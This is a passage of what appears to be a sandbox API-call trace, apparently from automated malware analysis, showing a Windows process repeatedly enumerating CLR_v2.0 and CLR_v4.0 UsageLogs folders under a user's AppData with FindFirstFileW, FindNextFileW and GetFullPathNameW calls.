(in: hFindFile=0x135f9d0, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.146] FindClose (in: hFindFile=0x135f9d0 | out: hFindFile=0x135f9d0) returned 1 [0179.146] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff068) returned 1 [0179.146] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff074) returned 1 [0179.146] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0", lpFilePart=0x0) returned 0x30 [0179.146] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.146] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0", lpFilePart=0x0) returned 0x30 [0179.146] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.146] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.147] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0179.147] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 0 [0179.147] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.147] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.147] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0", lpFilePart=0x0) returned 0x30 [0179.147] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.147] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.148] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0179.148] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.148] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.148] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs", lpFilePart=0x0) returned 0x3a [0179.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.148] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs", lpFilePart=0x0) returned 0x3a [0179.148] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f410 [0179.149] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.149] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.EXE.log", cAlternateFileName="WINPRO~1.LOG")) returned 1 [0179.150] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.150] FindClose (in: hFindFile=0x135f410 | out: hFindFile=0x135f410) returned 1 [0179.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.150] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs", lpFilePart=0x0) returned 0x3a [0179.150] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f8d0 [0179.150] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.150] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.EXE.log", cAlternateFileName="WINPRO~1.LOG")) returned 1 [0179.150] FindNextFileW (in: hFindFile=0x135f8d0, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.EXE.log", cAlternateFileName="WINPRO~1.LOG")) returned 0 [0179.151] FindClose (in: hFindFile=0x135f8d0 | out: hFindFile=0x135f8d0) returned 1 [0179.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.151] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0", nBufferLength=0x105, lpBuffer=0x12feb84, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0", lpFilePart=0x0) returned 0x30 [0179.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0179.151] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0", nBufferLength=0x105, lpBuffer=0x12feb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0", lpFilePart=0x0) returned 0x30 [0179.151] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\*", lpFindFileData=0x12fedc4 | out: lpFindFileData=0x12fedc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x97043032, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.151] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x97043032, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.151] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97043032, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x14f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngen.log", cAlternateFileName="")) returned 1 [0179.151] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0179.151] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fedd0 | out: lpFindFileData=0x12fedd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 0 [0179.152] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0179.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0179.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0179.152] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0", nBufferLength=0x105, lpBuffer=0x12feaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0", lpFilePart=0x0) returned 0x30 [0179.152] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\*", lpFindFileData=0x12fed64 | out: lpFindFileData=0x12fed64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x97043032, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.152] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x97043032, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.152] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97043032, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x14f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngen.log", cAlternateFileName="")) returned 1 [0179.152] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0179.153] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed70 | out: lpFindFileData=0x12fed70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.153] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0179.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0179.153] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs", lpFilePart=0x0) returned 0x3a [0179.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.153] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs", lpFilePart=0x0) returned 0x3a [0179.153] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.153] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.153] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cc2dd6b, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0x8cc2dd6b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x8cc2dd6b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="mighost.exe.log", cAlternateFileName="MIGHOS~1.LOG")) returned 1 [0179.154] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabc08fe, ftCreationTime.dwHighDateTime=0x1d327d4, ftLastAccessTime.dwLowDateTime=0xfabc08fe, ftLastAccessTime.dwHighDateTime=0x1d327d4, ftLastWriteTime.dwLowDateTime=0x1fb5c0d3, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x9eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="mmc.exe.log", cAlternateFileName="MMCEXE~1.LOG")) returned 1 [0179.154] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9719a3bf, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="NGenTask.exe.log", cAlternateFileName="NGENTA~1.LOG")) returned 1 [0179.154] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea85c64, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdea85c64, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0x1795b444, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0xe41, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 1 [0179.154] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x4005dd03, ftLastAccessTime.dwHighDateTime=0x1d3272c, ftLastWriteTime.dwLowDateTime=0xe0737866, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x16bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="sdiagnhost.exe.log", cAlternateFileName="SDIAGN~1.LOG")) returned 1 [0179.154] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.154] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.154] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs", lpFilePart=0x0) returned 0x3a [0179.154] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x9719a3bf, 